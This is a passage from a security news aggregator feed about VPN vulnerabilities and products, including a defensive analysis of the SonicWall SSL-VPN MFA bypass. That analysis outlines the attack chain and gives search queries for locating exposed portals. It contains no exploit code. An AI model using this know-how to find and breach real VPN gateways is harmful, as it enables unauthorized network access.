Team IT Security - 📰 IT Security Nachrichten

Palo Alto Warns of GlobalProtect VPN Vulnerability Actively Exploited in the Wild

Mon, 15 Jun 2026 11:07:13 +0200

Palo Alto Networks Unit 42 has issued an urgent warning about active exploitation of CVE-2026-0257, a critical authentication bypass vulnerability affecting the GlobalProtect portal and gateway components of PAN-OS software. The flaw allows unauthenticated remote attackers to circumvent security controls… Read more → The post Palo Alto Warns of GlobalProtect VPN Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

Palo Alto Warns GlobalProtect VPN Flaw Is Being Actively Exploited

Mon, 15 Jun 2026 10:31:59 +0200

Palo Alto Networks has issued an urgent warning after confirming active exploitation of a GlobalProtect VPN vulnerability, tracked as CVE-2026-0257, impacting PAN-OS deployments with specific configurations. The flaw, which affects the GlobalProtect portal and gateway components, enables an authentication bypass… Read more → The post Palo Alto Warns GlobalProtect VPN Flaw Is Being Actively Exploited appeared first on IT Security News.

Palo Alto Warns GlobalProtect VPN Flaw Is Being Actively Exploited

Mon, 15 Jun 2026 10:09:55 +0200

Palo Alto Networks has issued an urgent warning after confirming active exploitation of a GlobalProtect VPN vulnerability, tracked as CVE-2026-0257, impacting PAN-OS deployments with specific configurations. The flaw, which affects the GlobalProtect portal and gateway components, enables an authentication bypass that allows unauthenticated attackers to establish VPN sessions and potentially gain access to internal enterprise […] The post Palo Alto Warns GlobalProtect VPN Flaw Is Being Actively Exploited appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Palo Alto Warns of Actively Exploited GlobalProtect VPN Vulnerability

Mon, 15 Jun 2026 10:19:02 +0200

Palo Alto Networks Unit 42 has confirmed active exploitation of CVE-2026-0257, a critical authentication bypass vulnerability affecting the GlobalProtect portal and gateway components of PAN-OS software. The flaw allows remote unauthenticated attackers to forge authentication override cookies and establish unauthorized VPN connections without ever providing valid credentials. The vulnerability was originally assigned a CVSSv4 score of […] The post Palo Alto Warns of Actively Exploited GlobalProtect VPN Vulnerability appeared first on Cyber Security News.

Palo Alto Warns of GlobalProtect VPN Vulnerability Actively Exploited in the Wild

Mon, 15 Jun 2026 09:43:04 +0200

Palo Alto Networks Unit 42 has issued an urgent warning about active exploitation of CVE-2026-0257, a critical authentication bypass vulnerability affecting the GlobalProtect portal and gateway components of PAN-OS software. The flaw allows unauthenticated remote attackers to circumvent security controls and initiate unauthorized VPN connections without requiring any credentials. The U.S. Cybersecurity and Infrastructure Security […] The post Palo Alto Warns of GlobalProtect VPN Vulnerability Actively Exploited in the Wild appeared first on Cyber Security News.

Palo Alto Warns of Active Exploitation of PAN-OS GlobalProtect VPN Flaw

Mon, 15 Jun 2026 09:34:24 +0200

Palo Alto Networks has revealed that it has observed “active exploitation” of a recently disclosed PAN-OS vulnerability by an unknown threat actor to obtain unauthorized access to GlobalProtect portals. The vulnerability in question is CVE-2026-0257 (CVSS score: 7.8), an authentication… Read more → The post Palo Alto Warns of Active Exploitation of PAN-OS GlobalProtect VPN Flaw appeared first on IT Security News.

Palo Alto Warns of Active Exploitation of PAN-OS GlobalProtect VPN Flaw

Mon, 15 Jun 2026 08:17:32 +0200

Palo Alto Networks has revealed that it has observed "active exploitation" of a recently disclosed PAN-OS vulnerability by an unknown threat actor to obtain unauthorized access to GlobalProtect portals. The vulnerability in question is CVE-2026-0257 (CVSS score: 7.8), an authentication bypass flaw affecting the portal and gateway components of PAN-OS software that could be exploited by bad

Montag: Intel vor erneuter CPU-Neuauflage, Firefox mit unbegrenztem Browser-VPN

Mon, 15 Jun 2026 06:15:00 +0200

„Raptor Lake Next“ wegen DDR4 + Firefox-VPN temporär ohne Datenlimit + USA gegen Anthropics KI-Modelle + Amazon als KI-Petze + Schweizer Palantir-Niederlage

Firefox bietet im Sommer kostenloses VPN im Browser ohne Datenlimit

Mon, 15 Jun 2026 05:03:00 +0200

Das im Firefox integrierte VPN besitzt ein Datenvolumen von 50 GByte monatlich. Doch bis Ende August wurde das Limit aufgehoben und weitere Länder hinzugefügt.

Is using a VPN legal in the USA, Canada and Mexico? What World Cup travelers need to know

Mon, 15 Jun 2026 02:00:00 +0200

The 2026 World Cup guide to crossing borders with a VPN

Week in review: Exploited Check Point VPN zero-day, Oracle PeopleSoft servers under attack

Sun, 14 Jun 2026 10:34:10 +0200

Week in review: Exploited Check Point VPN zero-day, Oracle PeopleSoft servers under attack

Sun, 14 Jun 2026 10:00:50 +0200

Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: DockSec: Open-source AI-powered Docker security scanner DockSec is an OWASP Incubator Project that combines three container security scanners with a language-model layer for explanation and remediation. Created by Advait Patel, the Python tool runs Trivy, Hadolint, and Docker Scout against a developer’s Dockerfile and image, correlates the findings, returns a 0-100 security score, and proposes line-specific fixes. Treating AI agents … More → The post Week in review: Exploited Check Point VPN zero-day, Oracle PeopleSoft servers under attack appeared first on Help Net Security.

BSI warnt vor kritischer Schwachstelle in Check Point VPN-Lösungen - B2B Cyber Security

Sun, 14 Jun 2026 07:51:20 +0200

Das Leitbild: Das BSI als die Cyber-Sicherheitsbehörde des Bundes gestaltet Informationssicherheit in der Digitalisierung durch Prävention, Detektion ...

How to use a VPN on your smart TV during the World Cup

Sat, 13 Jun 2026 17:00:00 +0200

Many modern TVs have the ability to run a VPN without an external device – here are the best picks for Android TVs, Google TVs, and Amazon Fire TVs

Best VPN for School Wi-Fi in 2026: Unblock Streaming Services and Bypass Censorship Restrictions

Sat, 13 Jun 2026 14:00:00 +0200

A VPN can help you bypass your school’s firewall if it's limiting the educational resources available to you online.

CVE-2022-34821 | Siemens SIMATIC CP 1242-7 V2 OpenVPN Configuration code injection (ssa-517377 / EUVD-2022-37727)

Sat, 13 Jun 2026 10:42:59 +0200

A vulnerability categorized as critical has been discovered in Siemens SIMATIC CP 1242-7 V2, SIMATIC CP 1243-1, SIMATIC CP 1243-7 LTE EU, SIMATIC CP 1243-7 LTE US, SIMATIC CP 1243-8 IRC, SIMATIC CP 1542SP-1 IRC, SIMATIC CP 1543-1, SIMATIC CP 1543SP-1, SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL, SIPLUS ET 200SP CP 1543SP-1 ISEC, SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL, SIPLUS NET CP 1242-7 V2, SIPLUS NET CP 1543-1, SIPLUS S7-1200 CP 1243-1 and SIPLUS S7-1200 CP 1243-1 RAIL. Affected by this vulnerability is an unknown functionality of the component OpenVPN Configuration Handler. The manipulation results in code injection. This vulnerability is known as CVE-2022-34821. Access to the local network is required for this attack. No exploit is available. It is advisable to upgrade the affected component.

Die besten Gratis-VPNs für Windows

Sat, 13 Jun 2026 06:04:00 +0200

Kostenlose VPN-Lösungen haben ihre Tücken. Wir zeigen Ihnen die drei besten Gratis-Tools für Windows-Systeme. Foto: monkographic – shutterstock.com Kostenlose Virtual Private Networks (VPNs) sind eine heikle Angelegenheit – schließlich steht dabei immer die Frage im Raum, wie das jeweilige Anbieterunternehmen die Kosten für ein solches Angebot deckt. Einige sehen kostenlose Testversionen als Gelegenheit, Upgrades zu empfehlen oder einfach als Werbemaßnahme für ihre kostenpflichtigen Services. Andere wiederum hosten Werbung von Drittanbietern oder sammeln Informationen – etwa zu besuchten Webseiten – im Namen von Big Data und “allgemeinen Optimierungsmaßnahmen”. Wenn Sie ein Virtual Private Network langfristig nutzen wollen, sollten Sie eine kostenpflichtige Lösung in Erwägung ziehen – diese bieten mehr Server-Standorte, gleichzeitige Verbindungen und manchmal auch bessere Geschwindigkeiten. Die Restriktionen bei kostenlosen VPN-Lösungen variieren je nach Dienstanbieter – sicher ist nur, dass es bei Gratis-Angeboten immer irgendwelche Einschränkungen gibt. Nichtsdestotrotz sind Gratis-VPNs gut für den kurzfristigen Einsatz geeignet – oder um Dienste eine Zeit lang zu testen. Kostenlose VPNs für Windows: Top 3 Im Folgenden haben wir die unserer Meinung nach drei besten, kostenlosen VPN-Tools für Windows-PCs zusammengestellt. ProtonVPN Die kostenlose Version von ProtonVPN für Windows erlaubt nur eine Geräteverbindung pro Benutzer und begrenzt sowohl Server-Lokationen (fünf, die zufällig gewählt werden) als auch Speed für Nutzer des “Free”-Modells. Das ist jedoch völlig ausreichend für normale Surfaktivitäten oder auch (Low- bis Mid-Quality-)Videostreaming. Allerdings: Wer mit der kostenlosen Version von ProtonVPN Netflix-Ländergrenzen “überwinden” möchte, schaut leider in die Röhre. Das App-Design des Schweizer Anbieters überzeugt ebenso wie die Performance des Gratis-VPN-Tunnels. Um die kostenlose Version nutzen zu können, ist eine Registrierung mit E-Mail-Adresse erforderlich. WindScribe Diese Gratis-VPN-Lösung bietet mehr Funktionen und weniger Einschränkungen als die meisten anderen Angebote dieser Art. Mit einer Ausnahme: Der Traffic ist auf zehn GB pro Monat begrenzt. Wenn Sie also datenintensive Tasks wie Videostreaming im Auge haben, ist das Kontingent vermutlich schnell aufgebraucht. Diesen Nachteil wiegt WindScribe allerdings damit wieder auf, dass der VPN-Service mit beliebig vielen Devices genutzt werden kann. Zudem stehen zehn verschiedene Server-Standorte zur Wahl. Auch bei WindScribe erfordert die kostenlose Nutzung eine Registrierung mit E-Mail-Adresse. Hide.me Eine Art Hybrid aus ProtonVPN und Windscribe bietet Hide.me. Der kostenlose VPN hat keine Traffic-Begrenzung. Allerdings kann das Gratis-Angebot nur mit einem Gerät genutzt werden. Dabei stehen acht Server-Standorte zur Wahl. Wenn Sie den kostenlosen Service von Hide.me nutzen möchten, müssen Sie sich mit einer E-Mail-Adresse registrieren. (fm)

You Can Stream Every FIFA 2026 World Cup Match With a VPN. Here's How

Fri, 12 Jun 2026 20:22:00 +0200

A VPN can help you unlock all 104 FIFA World Cup 2026 matches, potentially even for free.

WM-Tickets für 2,29 Euro im Monat: ExpressVPN verlost Karten unter neuen Abonennten

Fri, 12 Jun 2026 20:36:00 +0200

ExpressVPN startet eine neue Aktion mit bis zu 80 Prozent Rabatt auf ausgewählte Tarife. Zusätzlich gibt es die Chance auf exklusive Tickets für die Fußballweltmeisterschaft zu erhalten. Dieser Artikel wurde einsortiert unter Schnäppchen, VPN-Dienste im Vergleich: Mit unserem Testsieger sicher und anonym durchs Internet, ExpressVPN, VPN: Ratgeber, Test und Vergleiche - Anonym und sicher im Netz.

NordVPN’s next-gen antivirus aces independent testing with a 96% phishing block rate

Fri, 12 Jun 2026 17:17:45 +0200

NordVPN's next-generation antivirus has just blocked 96% of phishing sites in an independent AV-Comparatives test, proving the privacy app is a formidable all-in-one security suite.

'This is an important release' — Amnezia VPN strengthens its apps to fight Russia's new approach to VPN blocking in latest update

Fri, 12 Jun 2026 16:47:09 +0200

"We have no intention of giving in to the difficulties," said Amnezia's founder, as the team fixed a bug in its latest update to thwart the newest censorship methods allegedly adopted by Russia's media regulator Roskomnadzor.

PureVPN has turned ChatGPT into a VPN assistant that handles the tedious manual tasks for you

Fri, 12 Jun 2026 15:43:30 +0200

PureVPN has launched its integrated ChatGPT-powered assistant, providing a conversational, AI-powered VPN experience. Here's how.

Get ExpressVPN, one of the world’s most popular VPNs, at a new low price

Fri, 12 Jun 2026 15:15:55 +0200

The ExpressVPN one-year basic plan covers up to 10 devices with fast speeds, ad blocking, MailGuard protection and more. (via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

Researchers release details, PoC for exploited Check Point VPN flaw (CVE-2026-50751)

Fri, 12 Jun 2026 14:32:37 +0200

Researchers release details, PoC for exploited Check Point VPN flaw (CVE-2026-50751)

Fri, 12 Jun 2026 14:14:40 +0200

WatchTowr researchers have disclosed a technical analysis and a “Detection Artefact Generator” for CVE-2026-50751, an authentication bypass flaw in Check Point’s Remote Access VPN and Mobile Access, which the vendor confirmed to be actively exploited. The attacks were limited, but with this information now public, a larger wave of opportunistic attacks may be expected. From silent exploitation to public disclosure CVE-2026-50751 was patched by Check Point on June 8, 2026, and the company said that … More → The post Researchers release details, PoC for exploited Check Point VPN flaw (CVE-2026-50751) appeared first on Help Net Security.

Beyond the Patch: Understanding the SonicWall SSL-VPN MFA Bypass Exposure

Fri, 12 Jun 2026 09:07:11 +0200

In May 2026, ransomware-linked attacks associated with CVE-2024–12802 targeting SonicWall Gen6 SSL-VPN devices regained attention. The vulnerability stems from a structural flaw in how SSL-VPN authentication handles UPN (User Principal Name) and SAM (Security Account Manager) account formats separately. In certain environments, attackers can exploit alternative login formats to bypass MFA even when MFA appears to be enabled.What makes this vulnerability particularly dangerous is that it is not simply a patching issue. SonicWall’s official advisory states that Gen6 devices require an additional six-step manual LDAP reconfiguration after firmware updates. However, standard patch management workflows typically verify only firmware versions and do not confirm whether the manual reconfiguration has been completed. As a result, administrators may believe their devices are protected while vulnerable LDAP configurations remain active. Furthermore, MFA bypass attempts in these attacks are logged as seemingly legitimate MFA successes, making detection significantly more difficult for security teams.This article analyzes the technical root cause and attack flow of CVE-2024–12802 and examines why externally exposed VPN devices can become initial access vectors for ransomware operations.Understanding CVE-2024–12802: An Overview of the VulnerabilityCategoryDescriptionVulnerability IDCVE-2024–12802Affected ProductSonicWall SSL-VPNVulnerability TypeMFA Authentication Bypass — CWE-305(Authentication Bypass by Primary Weakness)CVSS Score9.1 (Critical)Exploitation StatusRansomware-linked attacks observed across multiple environments in Feb–Mar 2026CVE-2024–12802 occurs due to the way SonicWall SSL-VPN handles different account name formats in Active Directory environments. Users can typically authenticate using either:UPN format (user@domain.com)SAM format (DOMAIN\username)The issue is that MFA policies may be applied separately to each login format rather than to the user identity itself. An administrator may configure MFA enforcement for one login format while leaving another authentication path insufficiently protected. Attackers who obtain valid credentials can then authenticate through the weaker login path without triggering MFA.Analyzing the Root Cause: Separate MFA Validation Paths for UPN and SAMThe UPN (User Principal Name) format resembles an email address such as user@domain.com. The SAM (Security Account Manager) format follows the legacy Windows domain login style: DOMAIN\username. Although both formats reference the same user account, SonicWall processes them as entirely separate authentication paths. MFA is configured independently for each login flow rather than being tied directly to the user identity. If MFA is configured only for the SAM path, the UPN path may remain unprotected, allowing successful authentication with only valid credentials and no second-factor verification.For Gen6 devices, firmware updates patch the vulnerable code but do not modify existing LDAP configurations. If the legacy LDAP configuration using userPrincipalName remains intact, MFA bypass through the UPN path remains possible even after updating. Although SonicWall explicitly documented this behavior in its advisory, standard patch management systems generally verify only firmware versions, not whether manual LDAP reconfiguration was completed.As a result:Devices appear fully updatedVersion checks passMFA appears enabledYet the environment may still remain vulnerable.Mapping the Attack Flow Behind the VulnerabilityA typical attack flow exploiting CVE-2024–12802 may proceed as follows:Identification of internet-exposed SSL-VPN devicesAttackers scan the internet for accessible SonicWall SSL-VPN portals using login pages, SSL-VPN ports, device banners, and authentication page titles.Credential acquisition and login attemptsAttackers leverage leaked credentials, reused passwords, brute-force attempts, or credentials obtained from prior compromises.Exploitation of MFA bypass pathsAttackers abuse differences in UPN/SAM authentication handling to access login paths where MFA enforcement is incomplete. Logs may still appear to show legitimate MFA activity, delaying detection.Internal network reconnaissanceAfter VPN access is obtained, attackers rapidly enumerate internal IP ranges, file servers, domain-joined systems, and remotely accessible servers.Credential reuse and privilege escalationShared local administrator accounts, weak passwords, and reused credentials are leveraged to expand access within the environment.Transition into ransomware pre-deployment operationsAttackers deploy remote administration tools, privilege escalation utilities, and security bypass techniques to prepare for future ransomware deployment.One of the most important aspects of this attack chain is its speed. Internal reconnaissance and access to file servers may occur within minutes after VPN access is established. If SSL-VPN devices are externally exposed and account protection policies are incomplete, attackers can leverage a single vulnerability as the starting point for full internal compromise.Discovering Publicly Accessible SonicWall SSL-VPN Systems with Criminal IPTo assess the real-world exposure of SonicWall SSL-VPN devices, externally identifiable service indicators can be used to analyze the attack surface. Criminal IP Asset Search was used to observe internet-exposed SonicWall SSL-VPN assets.Criminal IP Search Query: product: sonicwall ssl-vpn web serverThis query identifies SonicWall SSL-VPN web server assets accessible from the public internet. As of May 2026, approximately 6,250 instances were identified. These assets indicate environments where SSL-VPN login portals or related services are externally identifiable. Since SonicWall SSL-VPN functions as an authentication gateway into internal networks, exposed devices provide attackers with opportunities to:Identify VPN portalsAttempt credential stuffingReuse leaked credentialsTest MFA bypass conditionsIn vulnerabilities such as CVE-2024–12802, where weaknesses in MFA handling can be exploited, simple external accessibility itself becomes a key factor determining exploitability. Even if devices run the latest firmware, Gen6 systems remain vulnerable if LDAP reconfiguration has not been completed. Even if devices run the latest firmware, Gen6 systems remain vulnerable if LDAP reconfiguration has not been completed.Criminal IP Search Query: product: sonicwall ssl-vpn web server ssl_expired: trueThis query identifies internet-facing SonicWall SSL-VPN web servers using expired SSL certificates. As of May 2026, approximately 1,200 assets were identified. While expired SSL certificates do not directly indicate exploitability of CVE-2024–12802, they may signal:Insufficient Security Maintenance and Operational OversightSSL certificate renewal is one of the most basic operational management tasks. Therefore, devices left exposed with expired certificates may also indicate that other security measures, such as firmware updates, LDAP reconfiguration, and MFA policy reviews, have been neglected.Weak Security Awareness Against Phishing and Man-in-the-Middle AttacksIf certificate warnings repeatedly appear on VPN login pages, legitimate users may become accustomed to ignoring them. This behavior can significantly increase the risk of credential theft and phishing-related compromise.Potential Prioritization as an Attack TargetIf an externally exposed SSL-VPN device is operating with an expired certificate, it may indicate that the asset has been deprioritized in security operations or left unmanaged for an extended period of time.For this reason, such assets should be prioritized for review in relation to CVE-2024–12802. In Gen6 environments especially, simply verifying firmware updates is not sufficient. Organizations must also confirm completion of LDAP reconfiguration, removal of cached LDAP users, reset of SSL-VPN User Domain settings, device reboot, and creation of new clean backups.Detailed analysis of one externally exposed asset identified by Criminal IP revealed:High overall risk classification73 open ports248 vulnerabilities39 Exploit DB referencesThis demonstrates that the issue extends beyond a simple exposed VPN portal. Multiple exposed services and vulnerabilities create an environment where attackers can explore additional attack vectors beyond VPN access itself. Such assets may become effective initial access points for internal compromise when authentication bypass vulnerabilities such as CVE-2024–12802 are present.This individual asset analysis demonstrates that assessing SonicWall SSL-VPN risk requires more than simply checking whether a VPN portal is exposed. Organizations should evaluate multiple factors together, including external accessibility, threat level, number of open ports, associated vulnerabilities, SSL certificate status, and hosting environment context, to establish realistic attack-priority assessments. Ultimately, the core challenge in responding to CVE-2024–12802 is not merely verifying whether patches were applied, but continuously identifying externally exposed assets that attackers can realistically discover and access.Security Mitigation Guidance and Best PracticesThe most critical aspect of CVE-2024–12802 remediation is understanding that, for Gen6 devices, firmware updates alone may not fully resolve the issue. Even with the latest firmware installed, MFA bypass may remain possible if legacy LDAP configurations are still present. Organizations must therefore complete the manual remediation steps described in the official advisory. While Gen7 and Gen8 devices receive the necessary protections through firmware updates, Gen6 devices may retain vulnerable LDAP configurations and require separate manual reconfiguration.Organizations operating Gen6 SonicWall SSL-VPN devices should prioritize the following checks:Verify the latest firmware version is installedRemove legacy LDAP configurations using userPrincipalNameClear cached LDAP usersRemove SSL-VPN User Domain settingsReconfigure LDAP settings after rebooting the deviceCreate new backups to avoid restoring vulnerable legacy configurationsOrganizations should also monitor VPN authentication logs for indicators such as:sess="CLI" session typesEvent IDs 238 and 1080Abnormal VPS/VPN-based login attemptsRepeated authentication attempts within short time periodsThese signals may serve as important indicators of automated VPN attacks or MFA bypass attempts. Because Gen6 devices officially reached end-of-support status on April 16, 2026, organizations should immediately perform manual remediation and log review in the short term, while planning migration to supported hardware in the long term. Rather than treating patch verification alone as sufficient remediation, organizations must also verify completion of configuration rework and investigate potential signs of compromise.ConclusionThe CVE-2024–12802 incident is a textbook example showing that “being patched” does not necessarily mean “being protected.” The vulnerability itself was disclosed in 2024, and firmware patches were released shortly afterward. However, a combination of incomplete remediation, the hidden requirement for a six-step manual reconfiguration process, and the structural limitation that standard patch management workflows do not verify completion of manual remediation left many organizations believing they were protected when they were not.The key lessons from this incident are clear: having MFA enabled and running the latest firmware does not guarantee actual security, and traces left by attackers may be indistinguishable from legitimate activity in normal logs. Organizations should immediately verify where SonicWall Gen6 devices are deployed, whether the six-step reconfiguration process has been completed, and whether indicators such as sess="CLI" are present in authentication logs.In relation to this, you can refer to CVE-2026–41940: Analysis of the cPanel Authentication Bypass VulnerabilityBeyond the Patch: Understanding the SonicWall SSL-VPN MFA Bypass Exposure was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Check Point VPN Authentication Bypass (CVE-2026-50751): Client-Controlled IKEv1 Auth Flipped by Ransomware Affiliate

Fri, 12 Jun 2026 09:09:26 +0200

A CVSS 9.3 flaw in Check Point Remote Access VPN let unauthenticated attackers bypass certificate validation by supplying a crafted IKEv1 VendorID payload — exploited for 32 days before a patch, with one confirmed Qilin ransomware post-compromise chain. Check Point… Read more → The post Check Point VPN Authentication Bypass (CVE-2026-50751): Client-Controlled IKEv1 Auth Flipped by Ransomware Affiliate appeared first on IT Security News.

Check Point VPN Authentication Bypass (CVE-2026-50751): Client-Controlled IKEv1 Auth Flipped by Ransomware Affiliate

Fri, 12 Jun 2026 08:18:40 +0200

A CVSS 9.3 flaw in Check Point Remote Access VPN let unauthenticated attackers bypass certificate validation by supplying a crafted IKEv1 VendorID payload — exploited for 32 days before a patch, with one confirmed Qilin ransomware post-compromise chain. Check Point VPN Authentication Bypass (CVE-2026-50751): Client-Controlled IKEv1 Auth Flipped by Ransomware Affiliate on Latest Hacking News | Cyber Security News, Hacking Tools and Penetration Testing Courses.

Firefox: Gratis-VPN ohne Limits und ein Widget zur Fußball-WM

Fri, 12 Jun 2026 08:26:00 +0200

Das mit Firefox 149 eingeführte und in den Browser integrierte Gratis-VPN bietet ab sofort die Wahl zwischen mehr virtuellen Standorten als den bisherigen fünf. Das nutzbare Datenvolumen ist nun unbegrenzt statt auf 50 GB pro Monat beschränkt (Tipp: Hier stellen wir die besten VPN-Anbieter vor). Das gilt allerdings nur für diesen Sommer. Außerdem bietet Firefox Widgets und zur Fußball-WM passende Tapeten für Startseite. Das gibt es alles, ohne dass Sie ein Update installieren müssen. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar. Und nur ebendiese fünf Länder standen bislang (seit Firefox 150) als VPN-Standorte zur Auswahl. Jetzt erweitert Mozilla die Auswahl vorübergehend auf 28 Länder. Das ist nahe an der Standortauswahl des kostenpflichtigen Mozilla-VPN, das mehr als 30 Länder bietet. Es basiert auf Mullvad-VPN aus Schweden, das aktuell 50 Länder umfasst. Zu den Ländern im Gratis-VPN gehören zusätzlich Australien, Belgien, Bulgarien, Chile, Dänemark, Finnland, Irland, Italien, Kolumbien, Malaysia, Mexiko, Neuseeland, die Niederlande, Norwegen, Österreich, Polen, Portugal, Schweden, die Schweiz, Singapur, Spanien, Südafrika und Thailand. ▶Die neuesten Sicherheits-Updates Wie Mozilla verlautbart, stehen die erweiterte Länderauswahl und das unbegrenzte Datenvolumen ab sofort den Sommer über zur Verfügung – und das heißt in diesem Fall: bis zum 31. August. Ab 1. September gelten wieder die bisherigen Einschränkungen. Sie können das Gratis-VPN nur innerhalb von Firefox verwenden. Bei Mozilla-VPN gilt der Schutz hingegen für alle Programme. Das Gratis-VPN können Sie mit einem kostenlosen Mozilla-Konto nutzen, fürs Mozilla-VPN müssen Sie ein kostenpflichtiges Abo abschließen. Darauf soll diese Sommeraktion wohl Appetit machen. Noch als Beta-Version ausgewiesen: das kostenlose Firefox-VPNfz Die Sache hat für viele Nutzer noch einen weiteren Haken: Das Gratis-VPN gehört zu den Firefox-Funktionen, die schrittweise aktiviert werden, steht also nicht allen Nutzern sofort zur Verfügung. Auch zwei Monate nach der Einführung gilt es noch immer als Beta-Version und es ist noch nicht bei allen potenziellen Nutzern angekommen. Es ist allerdings denkbar, dass Mozilla im Zuge dieser Sommeraktion auch die Nutzerbasis schneller verbreitert. Ein Tipp von mir: Wenn Sie das VPN noch nicht angeboten bekommen, kann es auch daran liegen, dass Sie die Firefox-Einstellungen auf maximalen Schutz Ihrer Privatsphäre – auch gegenüber Mozilla – getrimmt haben. An sich gut so. Aber auf zwei meiner PCs (Windows 10 + 11) hat eine Änderung sofort bewirkt, dass das VPN angeboten wird: Unter Einstellungen » Datenschutz & Sicherheit » Datenerhebung durch Firefox und deren Verwendung gibt es eine Checkbox „Firefox erlauben, Funktionen, Leistung und Stabilität zwischen den Updates zu verbessern“. Ist diese nicht aktiviert, setzen Sie dort einen Haken. Schauen Sie dann auf die Symbolleiste (kein Neustart nötig). Widgets und Hintergrundbilder zur WM Auch beim Widget zur Fußball-WM kann noch ein wenig Geduld vonnöten sein. Nach einem Firefox-Neustart können die Widgets plötzlich vorhanden sein. Das optionale, konfigurierbare Sport-Widget bietet sowohl Spielergebnisse als auch wahlweise einen Ausblick auf die nächsten Spiele. Außerdem zeigt es an, auf welchem TV-Sender ein Spiel in Ihrem Land übertragen wird. Das funktioniert auch auf Android und iOS. Was nach der WM mit dem Sport-Widget passiert, ist noch unklar.fz Sobald in Ihrem Browser verfügbar, finden Sie Widgets und Hintergründe, indem Sie auf der Firefox-Startseite (Neuer-Tab-Seite) rechts unten auf „Anpassen“ klicken. Auch das Firefox-Logo auf der Startseite passt sich dem Thema Fußball an, wenn Sie das Sport-Widget aktivieren. Neben diesem Sport-Widget gibt es auch weitere Widgets, etwa fürs Wetter, eine To-Do-Liste oder eine Weltzeituhr. Das alles müssen Sie nicht nutzen, es ist nur ein Angebot. Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert. Am 16. Juni erscheinen Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37.0, Thunderbird 152 und Thunderbird 140.12esr. Einen neuen Tor Browser gibt es dann auch.

Beheben Sie Probleme mit VPN-Fernzugriff auf Ihren Heimrouter

Fri, 12 Jun 2026 08:00:00 +0200

Sie wechseln häufig zwischen Ihrem Home-Office und einem Arbeitsplatz im Büro. Um auch vom Büro aus auf Arbeitsdokumente zugreifen zu können, die sich auf dem Home- Office-PC befinden, haben Sie sich eine VPN-Verbindung mit Wireguard eingerichtet: Damit erreichen Sie aus dem Unternehmensnetzwerk sicher das Heimnetz übers Internet. Jetzt haben Sie zu Hause einen neuen Internetanschluss: Sie haben von VDSL auf einen Glasfaseranschluss bei einem anderen Provider gewechselt. Als Sie nun aus dem Büro versuchen, per VPN das Heimnetz zu erreichen, schlägt die Verbindung fehl. Das Problem in diesem Fall ist wahrscheinlich, dass sich mit dem Wechsel von Anschlusstechnik und Provider auch das IP-Protokoll geändert hat, über das Ihr Router erreichbar ist. Der Internetprovider teilt dem Router eine öffentliche IP-Adresse zu – üblicherweise IPv4 oder IPv6 oder eine Kombination aus beiden Protokollen. Das Gerät, mit dem Sie über das Internet per VPN auf Ihren Router zugreifen wollen, muss dieselbe Version des IP-Protokolls nutzen wie der Router für seine öffentliche IP-Adresse: Aus einem IPv4-Netz funktioniert es, wenn der Router eine öffentliche IPv4-Adresse hat, allerdings nicht, wenn er nur eine öffentliche IPv6-Adresse hat. Daher sollten Sie zunächst einmal prüfen, wie Ihr Provider die öffentliche IP-Adresse zuteilt: Fast alle nutzen dafür bei privaten Internetanschlüssen entweder Dual-Stack oder Dual-Stack-Lite (DS-Lite). Ist der Router per Dual-Stack angebunden, sind in seinem Menü zwei öffentliche IP-Adressen sichtbar – einmal IPv4, einmal IPv6. Foundry Bei Dual-Stack erhält der Router eine öffentliche IPv4- und eine öffentliche IPv6-Adresse. In diesem Fall ist er nahezu immer über das Internet erreichbar, unabhängig davon, wie der per VPN zugreifende Client angebunden ist. Bei DS-Lite bekommt der Router zwar eine individuelle IPv6-, aber keine eigene IPv4-Adresse. Eine externe Verbindungsanfrage eines Clients wie bei VPN schlägt aus diesem Grund über IPv4 fehl, denn die IPv4-Verbindung reicht nicht bis zum Router, sondern nur bis zum sogenannten AFTR (Address Family Transition Router) des Providers. Dieser besitzt eine öffentliche IPv4-Adresse, die aber für alle mit ihm verbundenen Router seiner Kunden gilt – und das können mehrere tausend sein. Dual-Stack oder DS-Lite? So prüfen Sie: Rufen Sie bei Ihrem Heimrouter das Browsermenü auf und suchen Sie nach der Option für die Internetverbindung – bei einer Fritzbox zum Beispiel unter „Internet –› Online-Monitor –› Verbindungsdetails“, bei anderen Routern sind Bezeichnungen wie etwa „Status“ oder „WAN“ zielführend. Sehen Sie dort Angaben zu zwei öffentlichen Adressen, einmal im IPv4-Format, wie zum Beispiel 93.xxx.xxx.xxx, einmal im IPv6-Format mit durch Doppelpunkte getrennten Blöcken, benutzt der Provider Dual-Stack. Bei DS-Lite erscheint eine IPv6-Adresse, aber keine öffentliche IPv4-Adresse. Stattdessen sehen Sie Einträge wie „DS-Lite“, „IPv6-Tunnel“, „IPv4 über IPv6“ oder eine nicht öffentliche IPv4-Adresse, die mit 10, 100 oder 192 beginnt. Eine Fehlermeldung wie hier beim Zugriff auf eine Fritzbox über Myfritz weist darauf hin, dass der Router mit einem DS-Lite-Anschluss verbunden ist. Foundry Damit Sie in diesem Fall eine VPN-Verbindung aus dem Büro zum Router aufbauen können, muss der Büro-PC per IPv6 angebunden sein. Das prüfen Sie am zuverlässigsten über Befehle in der Windows-Eingabeaufforderung: Geben Sie zunächst curl -6 https://ipv6.google.com ein. Erhalten Sie eine Fehlermeldung wie „could not resolve host“ oder ähnlich, nutzt der Client kein IPv6. Im Erfolgsfall sehen Sie üblicherweise den Quelltext der Webseite. Machen Sie nun den Gegentest mit curl -4 https://ipv6.google.com: Dieser Befehl ruft gezielt die IPv4-Version der Webseite auf: Hier sollte auf jeden Fall der Quelltext erscheinen. Wenn der Client ausschließlich IPv4 unterstützt, dann lässt sich ein Router zu Hause, der per 